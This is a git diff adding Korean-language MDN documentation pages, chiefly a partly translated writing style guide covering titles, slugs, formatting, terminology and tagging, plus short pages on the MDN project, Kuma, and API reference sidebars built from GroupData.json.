페이지 제목

+ +

페이지 제목은 검색 결과에 사용되며, 페이지 상단의 페이지 이동 경로(breadcrumb) 목록에 페이지 계층 구조를 구성하는 데 사용됩니다. (페이지 상단과 검색 결과 상단에 표시되는) 페이지 제목은 페이지 "슬러그"와 다를 수 있습니다. "슬러그"는 페이지 URL의 일부로   "<locale>/docs/" 다음에 따라오는 부분입니다.

+ +

 제목과  섹션제목 대문자넣기(Capitalization)

+ +

페이지 타이틀과 섹션 제목은 헤드라인 스타일 대문자넣기보다는 (첫번째 단어와 필요한 명사만 대문자를 넣는 방식의)일반 문장 스타일 대문자넣기를 해야 합니다:

+ + + +

이런 스타일 규칙이 적용되기 전에 작성된 수많은 예전 문서들이 현재도 존재합니다. 자유롭게 해당 문서들을 수정해도 좋습니다. 우리는 점차적으로 스타일 규칙을 맞춰 나갈겁니다.

+ +

제목 및 슬러그(slug) 선택하기

+ +

페이지 슬러그는 짧게 만들어야 합니다. 새로운 레벨의 계층을 만들때, 그 레벨의 요소는 슬러그에서 한,두 단어로 표현되어야 합니다.

+ +

반면에, 페이지 제목은 ,합리적인 범위내에서, 당신이 원하는 만큼 길어도 됩니다. 그리고 구체적이어야 합니다.

+ +

신규 서브트리 생성하기

+ +

어떤 토픽이나 주제 영역에 대한 문서를 추가할 필요가 있다면, 당신이 선택할 일반적인 방법은 랜딩 페이지를 생성한 이후, 각각의 개별적인 문서의 서브페이지를 추가하는 것입니다. 랜딩 페이지는 토픽이나 기술을 설명하는 한두 개의 문단으로 시작한 이후, 각 페이지의 설명이 달린 서브페이지의 목록을 전달해야합니다. 우리가 개발한 몇가지 매크로로 페이지를 목록에 자동으로 삽입할 수 있습니다.

+ +

예를 들면 , 아래와 같이 구성된 자바스크립트 가이드를 생각해봅시다.

+ + + +

문서를 문서구조 최상층에 두는 것은 최대한 피해야 합니다. 이렇게 하면 사이트가 느려지며, 사이트 탐색과 네비게이션을 비효율적으로 만듭니다.

+ +
+

주목할 점: 문서 추가는 페이지 생성 권한이 필요합니다.

+
+ +

General article content guidelines

+ +

When writing any document, it's important to know how much to say. If you ramble on too long, or provide excessive detail, the article becomes tedious to read and nobody will use it. Getting the amount of coverage right is important for several reasons. Among those reasons: to ensure that the reader finds the information they truly need, and to provide enough quality material for search engines to adequately analyze and rank the article.

+ +

We'll discuss the former (providing the information the reader may need) here. To learn a little about ensuring that pages are properly classified and ranked by search engines, see the article How to write for SEO on MDN.

+ +

The goal is to write pages that include all the information that readers may need without going on too long about it all. We have a few recommendations in this area.

+ +

Consider your audience

+ +

Keep in mind that these are guidelines. Some of these tips may not apply in every case. Certainly keep your article's audience in mind. An article on advanced network techniques likely doesn't need to go into as much detail about basic networking concepts as the typical article on networking code, for instance.

+ +

Provide a useful summary

+ +

Make sure the article's summary—that is, the opening paragraph or paragraphs before the first heading—provides enough information for the reader to understand if the article is likely to be covering what they're interested in reading about.

+ +

In guide or tutorial content, the summary should let the reader know what topics will be covered and what they're already expected to know, if anything. It should mention the technology, technologies, and/or APIs that are being documented or discussed, with links to those, and it should offer hints as to the situations in which the article's contents might be useful.

+ +
Example: Too short!
+ +

This example of a summary is far too short. It leaves out too much information, such as what it means exactly to "stroke" text, where the text is drawn, and so forth.

+ +
CanvasRenderingContext2D.strokeText() draws a string.
+ +
Example: Too long!
+ +

Here, we've updated the summary, but now it's far too long. Too much detail is included, and the text gets far too much into other methods and properties.

+ +

Instead, the summary should focus on the strokeText() method, and should refer to the appropriate guide where the other details are offered.

+ +
+

When called, the Canvas 2D API method CanvasRenderingContext2D.strokeText() strokes the characters in the specified string beginning at the coordinates specified, using the current pen color.In the terminology of computer graphics, "stroking" text means to draw the outlines of the glyphs in the string without filling in the contents of each character with color.

+ +

The text is drawn using the context's current font as specified in the context's {{domxref("CanvasRenderingContext2D.font", "font")}} property.

+ +

The placement of the text relative to the specified coordinates are determined by the context's textAlign, textBaseline, and direction properties. textAlign controls the placement of the string relative to the X coordinate specified; if the value is "center", then the string is drawn starting at x - (stringWidth / 2), placing the specified X-coordinate in the middle of the string. If the value is "left", the string is drawn starting at the specified value of x. And if textAlign is "right", the text is drawn such that it ends at the specified X-coordinate.

+ +

(etc etc etc...)

+ +

You can, optionally, provide a fourth parameter that lets you specify a maximum width for the string, in pixels. If you provide this parameter, the text is compressed horizontally or scaled (or otherwise adjusted) to fit inside a space that wide when being drawn.

+ +

You can call the fillText() method to draw a string's characters as filled with color instead of only drawing the outlines of the characters.

+
+ +
Example: Much better!
+ +

Here we see a much better overview for the strokeText() method.

+ +
+

The {{domxref("CanvasRenderingContext2D")}} method strokeText(), part of the Canvas 2D API, strokes—that is, draws the outlines of—the characters of a specified string, anchored at the position indicated by the given X and Y coordinates. The text is drawn using the context's current {{domxref("CanvasRenderingContext2D.font", "font")}}, and is justified and aligned according to the {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, and {{domxref("CanvasRenderingContext2D.direction", "direction")}} properties.

+ +

For more details and further examples, see {{SectionOnPage("/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Text")}} in the Learning Area as well as our main article on the subject, Drawing text.

+
+ +

Include all relevant examples

+ +

More pages should have examples than not. The majority of pages probably deserve multiple examples, in fact.

+ +

It's important to ensure that you use examples to clarify what every parameter is used for, and to clarify any edge cases that may exist. You should also use examples to demonstrate solutions for common tasks, and you should use examples to demonstrate solutions to problems that may arise.

+ +

Each example should be preceded by text explaining what the example does and anything the reader should know before beginning to read or try out the example.

+ +
Code Examples
+ +

Each piece of code should include an explanation of how it works. Keep in mind that it may make sense to break up a large piece of code into smaller portions so they can be described individually.

+ +

The text following each piece of code should explain anything relevant, using an appropriate level of detail.

+ + + +

When using the live sample system, it's helpful to be aware that all of the {{HTMLElement("pre")}} blocks in the area that contains the sample are concatenated together before running the example, which lets you break any or all of the HTML, CSS, and JavaScript into multiple segments, each optionally with its own descriptions, headings, and so forth. This makes documenting code incredibly powerful and flexible.

+ +

Overly-short articles are hard to find

+ +

If an article is "thin"—that is, too short—it may not be indexed properly (or at all) by search engines. As a rule of thumb, the article's body text should be at least 250–300 words. Don't artificially inflate a page, but treat this guideline as a minimum target length when possible.

+ +

Sections, paragraphs, and newlines

+ +

Use heading levels in decreasing order: {{HTMLElement("h2")}} then {{HTMLElement("h3")}} then {{HTMLElement("h4")}}, without skipping levels.

+ +

H2 is the highest level allowed because H1 is reserved for the page title. If you need more than three or four levels of headers, consider breaking up the article into several smaller articles with a landing page, and linking them together using the following macros: {{TemplateLink("Next")}}, {{TemplateLink("Previous")}}, and {{TemplateLink("PreviousNext")}}.

+ +

Heading dos and donts

+ + + +

The Enter (or Return) key on your keyboard starts a new paragraph. To insert a newline, rather than a new paragraph (that is, to create a {{HTMLElement("br")}} instead of a {{HTMLElement("p")}}), hold down the Shift key while pressing Enter.

+ +

Lists

+ +

Lists should be formatted and structured uniformly across all contributions. Individual list items should be written with suitable punctuation, regardless of the list format. However, depending on the type of list you are creating, you will want to adjust your writing as described in the sections below.

+ +

Bulleted lists

+ +

Bulleted lists should be used to group related pieces of concise information. Each item in the list should follow a similar sentence structure. Phrases and sentences in bulleted lists should include standard punctuation. Periods must appear at the end of each sentence in a bulleted list, including the item's final sentence, just as would be expected in a paragraph.

+ +

An example of a correctly structured bulleted list:

+ +
+

In this example we should include:

+ + +
+ +

Note how the same sentence structure repeats from bullet to bullet. In this example, each bullet point states a condition followed by a comma and a brief explanation, and each item in the list ends with a period.

+ +

Numbered lists

+ +

Numbered lists are used primarily to enumerate steps in a set of instructions. Because instructions can be complex, clarity is a priority, especially if the text in each list item is lengthy. As with bulleted lists, follow standard punctuation usage.

+ +

An example of a correctly structured numbered list:

+ +
+

In order to correctly structure a numbered list, you should:

+ +
    +
  1. Open with a heading or brief paragraph to introduce the instructions. It's important to provide the user with context before beginning the instructions.
  2. +
  3. Start creating your instructions, and keep each step in its own numbered item. Your instructions may be quite extensive, so it is important to write clearly and use correct punctuation.
  4. +
  5. After you have finished your instructions, close off the numbered list with a brief summary or explanation of the expected outcome upon completion.
  6. +
+ +

This is an example of writing a closing explanation. We have created a short numbered list that provides instructive steps to produce a numbered list with the correct formatting.

+
+ +

Note how the items in numbered lists read like short paragraphs. Because numbered lists are routinely used for instructional purposes, or to walk someone through an orderly procedure, be sure to keep each item focused: one item per number or step.

+ +

Text formatting and styles

+ +

Use the "Formatting Styles" drop-down list to apply predefined styles to selected content.

+ +
+

The "Note Box" style is used to call out important notes, like this one.

+
+ +
+

Similarly, the "Warning Box" style creates warning boxes like this.

+
+ +

Unless specifically instructed to do so, do not use the HTML style attribute to manually style content. If you can't do it using a predefined class, ask for help in the MDN discussion forum.

+ +

Code sample style and formatting

+ +
+

Note: This section deals with the styling/formatting of code as it appears on an MDN article. If you want guidelines on actually writing code examples, see our Code sample guidelines.

+
+ +

Tabs and line breaks

+ +

Use two spaces per tab in all code examples. Indent the code cleanly, with open-brace ("{") characters on the same line as the statement that opens the block. For example:

+ +
if (condition) {
+  /* handle the condition */
+} else {
+  /* handle the "else" case */
+}
+
+ +

Long lines shouldn't be allowed to stretch off horizontally to the extent that they require horizontal scrolling to read. Instead, break at natural breaking points. Some examples follow:

+ +
if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
+       || class.YET_ANOTHER_CONDITION ) {
+  /* something */
+}
+
+var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
+                           .createInstance(Components.interfaces.nsIToolkitProfileService);
+
+ +

Inline code formatting

+ +

Use the "Code" button (labeled with two angle brackets "<>") to apply inline code-style formatting to function names, variable names, and method names. (This uses the {{HTMLElement("code")}} element). For example: "the frenchText() function".

+ +

Method names should be followed by a pair of parentheses: doSomethingUseful(). The parentheses help differentiate methods from other code terms.

+ +

Syntax highlighting

+ +

Screenshot of the 'Syntax Highlighter' menu.Entire lines (or multiple lines) of code should be formatted using syntax highlighting rather than the {{HTMLElement("code")}} element. Select the appropriate language from the language list button (the one with the two code blocks), as seen in the screenshot to the right. This will insert a preformatted code box with line numbers and syntax highlighting for the chosen language.

+ +
+

Note: Do not use the {{HTMLElement("code")}} element inside the {{HTMLElement("pre")}} block!

+ +

While this structure is used on some sites, we do not do so on MDN; nesting these elements will break certain aspects of our styling.

+
+ +

The following example shows text with JavaScript formatting:

+ +
for (let i = 0, j = 9; i <= 9; i++, j--)
+  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
+ +

If no appropriate language is available, use ("No Highlight" in the language menu). This will result in code without syntax highlighting:

+ +
x = 42;
+ +

Syntax definitions

+ +

When writing the syntax description section of a reference page, use the "Syntax Box" option in the "Styles" drop-down menu in the editor toolbar. This creates a specially-formatted box used specifically for syntax definitions, distinguishing them from other code blocks.

+ +

Blocks not referring to code

+ +

There are a few use cases where a <pre> block does not refer to code and doesn't have syntax highlighting nor line numbers. In such cases you should add a <pre> without a class attribute. Those cases include things like tree structures:

+ +
root/
+
+  folder1/
+    file1
+
+  folder2/
+    file2
+    file3
+
+ +

To create preformatted content without syntax highlighting and line numbers click the "pre" button in the toolbar. Then start to type the text.

+ +

Styling mentions of HTML elements

+ +

There are specific rules to follow when writing about HTML elements. These rules produce consistent descriptions of elements and their components. They also ensure correct linking to detailed documentation.

+ +
+
Element names
+
Use the {{TemplateLink("HTMLElement")}} macro, which creates a link to the page for that element. For example, writing \{{HTMLElement("title")}} produces "{{HTMLElement("title")}}". If you don't want to create a link, enclose the name in angle brackets and use the "Inline Code" style (e.g., <title>).
+
Attribute names
+
Use "Inline Code" style to put attribute names in code font. Additionally, put them in bold face when the attribute is mentioned in association with an explanation of what it does, or the first time it's used in the article.
+
Attribute definitions
+
Use the {{TemplateLink("htmlattrdef")}} macro (e.g., \{{htmlattrdef("type")}}) for the definition term, so that it can be linked to from other pages easily by simply using the {{TemplateLink("htmlattrxref")}} macro (e.g., \{{htmlattrxref("attr","element")}}) to reference attribute definitions.
+
Attribute values
+
Use the "Inline Code" style to apply <code> to attribute values, and don't use quotation marks around string values, unless needed by the syntax of a code sample.
+
For example: "When the type attribute of an <input> element is set to email or tel ..."
+
+ +

Latin abbreviations

+ +

In notes and parentheses

+ + + +

In running text

+ + + +

Meanings and English equivalents of Latin abbreviations

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AbbrevLatinEnglish
cf.confercompare
e.g.exempli gratiafor example
et al.et aliiand others
etc.et ceteraand so forth, and so on
i.e.id estthat is, in other words
N.B.nota benenote well
P.S.post scriptumpostscript
+ +
+

Always consider whether it's truly beneficial to use a Latin abbreviation. Some of these are used so rarely that many readers won't understand the meaning, and others are often confused with one another.

+ +

Also, be sure that you use them correctly, if you choose to do so. For example, be careful not to confuse "e.g." with "i.e.", which is a common error.

+
+ +

Acronyms and abbreviations

+ +

Capitalization and periods

+ +

Use full capitals and delete periods in all acronyms and abbreviations, including organizations such as "US" and "UN".

+ + + +

Expansion

+ +

On the first mention of a term on a page, expand acronyms likely to be unfamiliar to users. When in doubt, expand it, or, better, link it to the article or glossary entry describing the technology.

+ + + +

Plurals of acronyms and abbreviations

+ +

For plurals of acronyms or abbreviations, add s. Don't use an apostrophe. Ever. Please.

+ + + +

"Versus", "vs.", and "v."

+ +

The contraction "vs." is preferred.

+ + + +

Capitalization

+ +

Use standard English capitalization rules in body text, and capitalize "World Wide Web." It is acceptable to use lower case for "web" (used alone or as a modifier) and "internet".

+ +
+

This guideline is a change from a previous version of this guide, so you may find many instances of "Web" and "Internet" on MDN.

+ +

Feel free to change these as you are making other changes, but editing an article just to change capitalization is not necessary.

+
+ +

Keyboard keys should use sentence-style capitalization, not all-caps capitalization. For example, "Enter" not "ENTER." The only exception is that if you wish to abbreviate the name of the "Escape" key, you may use "ESC".

+ +

Certain words should always be capitalized (such as trademarks which include capital letters), or words derived from the name of a person (unless it's being used within code, and the rules of the language in which the code is written mandate lower-casing). Some examples:

+ + + +

Contractions

+ +

Our writing style tends to be casual, so you should feel free to use contractions (e.g., "don't", "can't", "shouldn't"), if you prefer.

+ +

Pluralization

+ +

Use English-style plurals, not the Latin- or Greek-influenced forms.

+ + + +

Hyphenation

+ +

Hyphenate compounds when the last letter of the prefix is a vowel and is the same as the first letter of the root.

+ + + +

Gender-neutral language

+ +

It is a good idea to use gender-neutral language in any writing where gender is irrelevant to the subject matter, to make the text as inclusive as possible. So, for example, if you are talking about the actions of a specific man, usage of "he"/"his" is fine; but if the subject is a person of either gender, "he"/"his" isn't appropriate.
+
+ Let's take the following example:

+ +
+

A confirmation dialog appears, asking the user if he allows the Web page to make use of his Web cam.

+
+ +
+

A confirmation dialog appears, asking the user if she allows the Web page to make use of her Web cam.

+
+ +

Both versions are gender-specific. To fix this, use gender-neutral pronouns:

+ +
+

A confirmation dialog appears, asking the user if they allow the Web page to make use of their Web cam.

+
+ +
+

MDN allows the use of this very common syntax (which is controversial among usage authorities) to make up for the lack of a neutral gender in English.

+ +

The use of the third-person plural as a gender neutral pronoun (that is, using "they," "them", "their," and "theirs") is an accepted practice, commonly known as "singular 'they.'"

+
+ +

You can use both genders:

+ +
+

A confirmation dialog appears, asking the user if he or she allows the web page to make use of his/her web cam.

+
+ +

Making the users plural:

+ +
+

A confirmation dialog appears, asking the users if they allow the web page to make use of their web cams.

+
+ +

The best solution, of course, is to rewrite and eliminate the pronouns:

+ +
+

A confirmation dialog appears, requesting the user's permission for web cam access.

+
+ +
+

A confirmation dialog box appears, which asks the user for permission to use the web cam.

+
+ +

The last way of dealing with the problem is arguably better. It is not only grammatically more correct, but removes some of the complexity associated with dealing with genders across different languages that may have wildly different gender rules. This solution can make translation easier for both readers and localizers.

+ +

Numbers and numerals

+ +

Dates

+ +

For dates (not including dates in code samples) use the format "January 1, 1990".

+ + + +

Alternately, you can use the YYYY/MM/DD format.

+ + + +

Decades

+ +

For decades, use the format "1990s". Don't use an apostrophe.

+ + + +

Plurals of numerals

+ +

For plurals of numerals add "s". Don't use an apostrophe.

+ + + +

Commas

+ +

In running text, use commas only in five-digit and larger numbers.

+ + + +

Punctuation

+ +

Serial comma

+ +

Use the serial comma. The serial (also known as "Oxford") comma is the comma that appears before the conjunction in a series of three or more items.

+ + + +
+

This is in contrast to the One Mozilla style guide, which specifies that the serial comma is not to be used. MDN is an exception to this rule.

+
+ +

Apostrophes and quotation marks

+ +

Do not use "curly" quotes and quotation marks. On MDN, we only use straight quotes and apostrophes.

+ +

There are a couple of reasons for this.

+ +
    +
  1. We need to choose one or the other for consistency.
  2. +
  3. If curly quotes or apostrophes make their way into code snippets—even inline ones—readers may copy and paste them, expecting them to function (which they will not).
  4. +
+ + + +

Spelling

+ +

For words with variant spellings, always use their American English spelling.

+ +

In general, use the first entry at Dictionary.com, unless that entry is listed as a variant spelling or as being primarily used in a non-American form of English. For example, if you look up "behaviour", you find the phrase "Chiefly British" followed by a link to the American standard form, "behavior". Do not use variant spellings.

+ + + +

Terminology

+ +

HTML elements

+ +

Use "elements" to refer to HTML and XML elements, rather than "tags". In addition, they should almost always be wrapped in "<>", and should be in the {{HTMLElement("code")}} style.

+ +

When you reference a given element for the first time in a section, you should use the {{TemplateLink("HTMLElement")}} macro to create a link to the documentation for the element (unless you're writing within that element's reference document page).

+ + + +

Parameters vs. arguments

+ +

The preferred term on MDN is parameters. Please avoid the term "arguments" for consistency whenever possible.

+ +

User interface actions

+ +

In task sequences, describe user interface actions using the imperative mood. Identify the user interface element by its label and type.

+ + + +

Voice

+ +

While the active voice is preferred, the passive voice is also acceptable, given the informal feel of our content. Try to be consistent, though.

+ +

위키 마크업과 사용법

+ +

링크

+ +

링크는 위키를 강력한 배움과 가르침의 도구로 만드는 데 큰 역할을 합니다. 아래에서 관련한 기본적 정보를 찾을 수 있지만, 에디터 가이드에 있는 MDN에서 링크를 생성하고 편집하기 에서는 완전한 가이드를  볼 수 있습니다.

+ +

우리는 당신이 문서간에 적절한 링크를 생성하도록 권장합니다; 링크는 콘덴츠 검색 용이성및 네비게이션을 개선하는데 도움을 주고, 구글과 같은 검색 엔진이 더 나은 검색결과를 제공하도록  중요한 콘텍스트를 제공 합니다. 모든 페이지는 단어나 구문에서 관련된 주제의 다른 페이지로 연결되는 좋은 링크집합을 가져야 합니다. 링크는 용어를 정의하거나 어떤 주제에 대한 상세하고 심화된 문서를 제공하는데에 모두 사용될 뿐만 아니라,  관련된 예제나 보다 관심이 갈만한 정보도 제공할 수도 있습니다.

+ +

MDN내부의 문서(내부 링크)뿐만아니라 MDN 외부의 페이지(외부 링크)도 쉽게 링크를 걸 수 있습니다 .

+ +

링크를 만드는 두 가지 방법이 있습니다:

+ + + +

어떤 텍스트에 링크를 연결할 것인지에 대해, 몇가지 가이드라인을 소개합니다:

+ + + +

URL 정책

+ +

보안 때문에, 아래 스킴(schemes)을 사용한 링크만 생성할 수 있다:

+ + + +

이 외의 것은 동작할 수도 아닐수도 있지만, 편집 스태프에 의해 지원되거나 삭제되지 않을 것이다.

+ +
+

특별히,  about: 이나 chrome:// 스킴은 동작하지 않으므로 피해야 한다.

+ +

유사하게 , javascript: 스킴도 jar:와 마찬가지로 대부분의 모던 브라우저에서 막혀있다

+
+ +

페이지 태그

+ +

Tags provide meta information about a page and/or indicate that a page has specific improvements needed to its content. Every page in the wiki should have tags.

+ +

You can find details on tagging in our How to properly tag pages guide.

+ +

The tagging interface lives at the bottom of a page while you're in edit mode, and looks something like this:

+ +

Screenshot of the UX for adding and removing tags on MDN

+ +

To add a tag, click in the edit box at the end of the tag list and type the tag name you wish to add. Tags will autocomplete as you type. Press Enter (or Return) to submit the new tag. Each article may have as many tags as needed. For example, an article about using JavaScript in AJAX programming might have both "JavaScript" and "AJAX" as tags.

+ +

To remove a tag, just click the little "×" icon in the tag.

+ +

Tagging pages that need work

+ +

In addition to using tags to track information about the documentation's quality and content, we also use them to mark articles as needing specific types of work.

+ +

Tagging obsolete pages

+ +

Use the following tags for pages that are not current:

+ +
+
Junk
+
Use for spam, pages created by mistake, or content that is so bad that it should be deleted. Pages with this tag are deleted from time to time.
+
Obsolete
+
+

Use for content that is technically superseded, but still valid in context. For example, this might be an HTML element that is obsolete in HTML5, but still valid in HTML 4.01.

+ +

You can also use the {{TemplateLink("obsolete_header")}} macro to put a prominent banner on the topic.

+
+
Archive
+
+

Use for content that is technically superseded and no longer useful. If possible, add a note to the topic referring readers to a more current topic.

+ +

For example, a page that describes how to use the Mozilla CVS repository should refer readers to a current topic on using Mercurial repos. (If no corresponding current topic exists, use the NeedsUpdate tag, and add an explanation on the Talk page.)

+ +

Pages with the Archive tag are eventually moved from the main content of MDN to the Archive section.

+
+
+ +

SEO summary

+ +

The SEO summary provides a short description of a page. It will be reported as a summary of the article to robots crawling the site, and will then appear in search results for the page. It is also used by macros that automate the construction of landing pages inside MDN itself. (In other words, it's not just for SEO.)

+ +

By default, the first paragraph of the page is used as the SEO summary. However, you can override this behavior by marking a section with the "SEO summary" style in the WYSIWYG editor.

+ +

Landing pages

+ +

Landing pages are pages at the root of a topic area of the site, such as the main CSS or HTML pages. They have a standard format that consists of three areas:

+ +
    +
  1. A brief (typically one paragraph) overview of what the technology is and how it's used. See {{anch("Writing a landing page overview")}} for tips.
  2. +
  3. A two-column list of links with appropriate headings. See {{anch("Creating a page link list")}} for guidelines.
  4. +
  5. An optional "Browser compatibility" section at the bottom of the page.
  6. +
+ + + +

The link list section of an MDN landing page consists of two columns. These are created using the following HTML:

+ +
<div class="row topicpage-table">
+  <div class="section">
+    ... left column contents ...
+  </div>
+  <div class="section">
+    ... right column contents ...
+  </div>
+</div>
+ +

The left column should be a list of articles, with an <h2> header at the top of the left column explaining that it's a list of articles about the topic (e.g., "Documentation and tutorials about foo"); this header should use the CSS class "Documentation". Below that is a <dl> list of articles with each article's link in a <dt> block and a brief one-or-two sentence summary of the article in the corresponding <dd> block.

+ +

The right column should contain one or more of the following sections, in order:

+ +
+
Getting help from the community
+
This should provide information on Matrix chat rooms and mailing lists available on the topic. The heading should use the class "Community".
+
Tools
+
A list of tools the user can look at to help with the use of the technology described in this section of MDN. The heading should use the class "Tools".
+
Related topics
+
A list of links to landing pages for other, related, technologies of relevance. The heading should use the class "Related_Topics".
+
+ +

{{TODO("Finish this once we finalize the landing page standards")}}

+ +

Using and inserting images

+ +

It's sometimes helpful to provide an image in an article you create or modify, especially if the article is very technical.

+ +

To include an image:

+ +
    +
  1. Before uploading your image, please ensure that it's as small as possible by using an image optiization tool. +
      +
    • For bitmap images (JPG or PNG), consider a tool such as ImageOptim (macOS), TinyPNG (web service), or Trimage (Linux).
    • +
    • For SVG images, use the svgo tool to optimize the SVG file before sending it. The default configuration is fine.
    • +
    +
  2. +
  3. Attach the desired image file to the article (at the bottom of every article in edit mode). If your artwork is a diagram in SVG format (which is ideal if there is text that may need to be localized), you can't upload it directly, but you can ask an MDN admin to do it for you.
  4. +
  5. Click the "insert image" button in the MDN documentation WYSIWYG editor.
  6. +
  7. In the WYSIWYG editor's drop-down list of attachments, select the newly created attachment that is your image.
  8. +
  9. Press the OK button.
  10. +
+ +
+

Important: Remember to save any changes you've made before uploading an attachment to your article! The editor is closed during the upload process, and currently does not verify whether or not you wish to save your work when it does so.

+
+ +

Other references

+ +

Preferred style guides

+ +

If you have questions about usage and style not covered here, we recommend referring to the Microsoft Writing Style Guide—or, failing that, the Chicago Manual of Style. An unofficial crib sheet for the Chicago Manual of Style is available online.

+ +

Preferred dictionary

+ +

For questions of spelling, please refer to Dictionary.com. The spelling checker for this site uses American English. Please do not use variant spellings (e.g., use color rather than colour).

+ +

We will be expanding the guide over time, so if you have specific questions that aren't covered in this document, please post them on the MDN discussion forum, so we know what should be added.

+ +

MDN-specific

+ + + +

Language, grammar, spelling

+ +

If you're interested in improving your writing and editing skills, you may find the following resources to be helpful.

+ + diff --git a/files/ko/mdn/index.html b/files/ko/mdn/index.html new file mode 100644 index 0000000000..283278498e --- /dev/null +++ b/files/ko/mdn/index.html @@ -0,0 +1,34 @@ +--- +title: MDN 프로젝트 +slug: MDN +tags: + - Documentation + - MDN + - NeedsTranslation + - TopicStub +translation_of: MDN +--- +
{{MDNSidebar}}
+ +

Mozilla Developer Network(MDN)는 오픈 웹, Mozilla 기술, Firefox OS를 비롯한 개발을 주제로 한 문서를 보관하는 위키입니다. 이곳에는 누구나 내용을 추가하거나 편집할 수 있습니다. 프로그래머가 아니거나 기술에 대해 많이 알고 있지 않아도 괜찮습니다. 글이 잘 읽히도록 문장을 다듬고 오타를 교정하는 간단한 일부터, API 문서를 작성하는 일까지 해야하는 일은 다양하니까요.

+ +
+

MDN 프로젝트는 오픈 웹, Mozilla 기술, Mozilla 프로젝트 문서화를 목표로 합니다. 여러분들께 도움을 청합니다!

+
+ +

여러분들의 도움이 필요합니다! 글을 쓰고 수정하는데 권한이 필요한 건 아닌지 실수를 하면 어떻게 될지 두려워하지 마세요. 대신 MDN 공동체에 대해 한번 알아보세요. 우리는 여러분을 도와드리기 위해 이곳에 있습니다! 아래의 문서들을 통해 MDN에 참여하는 법을 배울 수 있습니다.

+ + + + diff --git a/files/ko/mdn/kuma/index.html b/files/ko/mdn/kuma/index.html new file mode 100644 index 0000000000..becf84221a --- /dev/null +++ b/files/ko/mdn/kuma/index.html @@ -0,0 +1,26 @@ +--- +title: '쿠마(Kuma): MDN 위키 플랫폼' +slug: MDN/Kuma +tags: + - MDN 메타 + - 시작하기 + - 쿠마 +translation_of: MDN/Kuma +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +
쿠마(Kuma)는 MDN Web Docs를 작동시키는 Django 코드 입니다. 
+ +

{{SubpagesWithSummaries}}

+ +

Kuma와 함께해주세요. 

+ +

함께 하고 싶다면 

+ + diff --git a/files/ko/mdn/structures/api_references/api_reference_sidebars/index.html b/files/ko/mdn/structures/api_references/api_reference_sidebars/index.html new file mode 100644 index 0000000000..fd8be5585d --- /dev/null +++ b/files/ko/mdn/structures/api_references/api_reference_sidebars/index.html @@ -0,0 +1,114 @@ +--- +title: API 레퍼런스의 사이드바 +slug: MDN/Structures/API_references/API_reference_sidebars +translation_of: MDN/Structures/API_references/API_reference_sidebars +--- +
{{MDNSidebar}}
+ +

API 레퍼런스 문서에는 수정 가능한 사이드바 를 추가할 수 있습니다. 이 사이드바에 인터페이스, 튜토리얼, 혹은 API와 관련된 자료 링크를 노출합니다. 그 사용법을 설명합니다. 

+ +

뭘 해야 하나요?

+ +

사이드바 생성은 다음 세 단계로 나뉩니다. 

+ +
    +
  1. API 레퍼런스 페이지를 만듭니다. 
  2. +
  3. KumaScript 레파지토리의 GroupData.json 데이터 파일에 그 API를 위한 엔트리를 추가합니다. 
  4. +
  5. 사이드바가 필요한 페이지에 \{{APIRef}} 메크로를 추가합니다.
  6. +
+ +

Fetch API를 샘플로 삼아서 단계별로 살펴 보겠습니다. 

+ +

신규 API 레퍼런스 페이지 만들기

+ +

페이지에 사이드바를 추가하기 전에 여러분은 페이지를 만들어야 합니다. (자세한건 API 레퍼런스 문서에 필요한건 무엇일까요? 마이드 문서를 보세요)

+ +

GroupData.json에 API의 엔트리를 추가하기

+ +

GroupData.json 파일은 API 레퍼런스 문서의 사이드바 안에 담아야 하는 모든 데이타를 담고 있습니다. API를 파라미터로 주고 \{{APIRef}}메크로를 실행하면, GroupData.json에서 탐색해서 사이드바를 생성하고 페이지에 추가합니다. 

+ +

GroupData.json에 엔트리를 추가하려면 다음을 따르세요.

+ +
    +
  1. GitHub 계정이 필요합니다. 
  2. +
  3. KumaScript 레파지토리를 포크뜨고, 작업할 브랜치를 생성하고 로컬에 클론을 뜹니다. 
  4. +
  5. 생성한 브랜치로 체크아웃을 하고 작업후 오리진으로 푸시합니다. 
  6. +
  7. MDN 팀이 리뷰할 수 있도록 풀 리퀘스트를 날려주시고, 필요하다 생각이 들면 변경 요청을 주세요.
  8. +
+ +

GitHub 사용법을 잘 모르겠으면 호환성 테이블 가이드 문서를 참고하세요. 자세한 내용이 있습니다. 

+ +

GroupData.json은 KumaScript 레파지토리의 macros 폴더 안에 있습니다. 파일을 열어보면 API별로 자기 내용을 가진 거대한 JSON 구조체를 볼 수 있습니다. 키는 API명이고, 값은 사이드바 링크를 생성하기 위해 정의된 하위 멤버를 담은 객체입니다. 

+ +

Fetch API 를 예로 들면 일치하는 GroupData.json의 엔트리가 다음과 같습니다. 

+ +
"Fetch API": {
+    "overview":   [ "Fetch API"],
+    "interfaces": [ "Body",
+                    "Headers",
+                    "Request",
+                    "Response",
+                    "FetchController",
+                    "FetchObserver",
+                    "FetchSignal",
+                    "ObserverCallback" ],
+    "methods":    [ "WindowOrWorkerGlobalScope.fetch()" ],
+    "properties": [],
+    "events":     []
+},
+
+ +

보다시피 키 명을 "Fetch API"으로 명명 하고 있고, 하위 멤버들을 담은 객체를 가지고 있습니다. 

+ +

GroupData 엔트리에 담긴 하위 멤버들

+ +

GroupData 엔트리에 추가할 수 있는 하위 멤버 목록입니다. 

+ +

리스트업된 하위 멤버값 대부분은 링크걸 텍스트와 링크 생성을 위해 메인 API 색인 페이지(https://developer.mozilla.org/<language-code>/docs/Web/API) 끝에 추가될 슬러그입니다. 예를 들어 en-US 로케일에서 "Body"는 아래 링크를 만듭니다. 

+ +
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API">Body</a></li>
+
+ +

몇가지 예외가 있습니다.. 예를 들어 "guides" 하위 멤버는 가이드/튜토리얼 관련 링크를 정의할 하나이상의 링크 정보(타이틀과 슬러그)를 갖고 있는데, 이경우 슬러그는 MDN 어디든 추가될 수 있도록 MDN 문서 루트(https://developer.mozilla.org/<language-code>/docs)의 끝에 추가됩니다. 

+ +

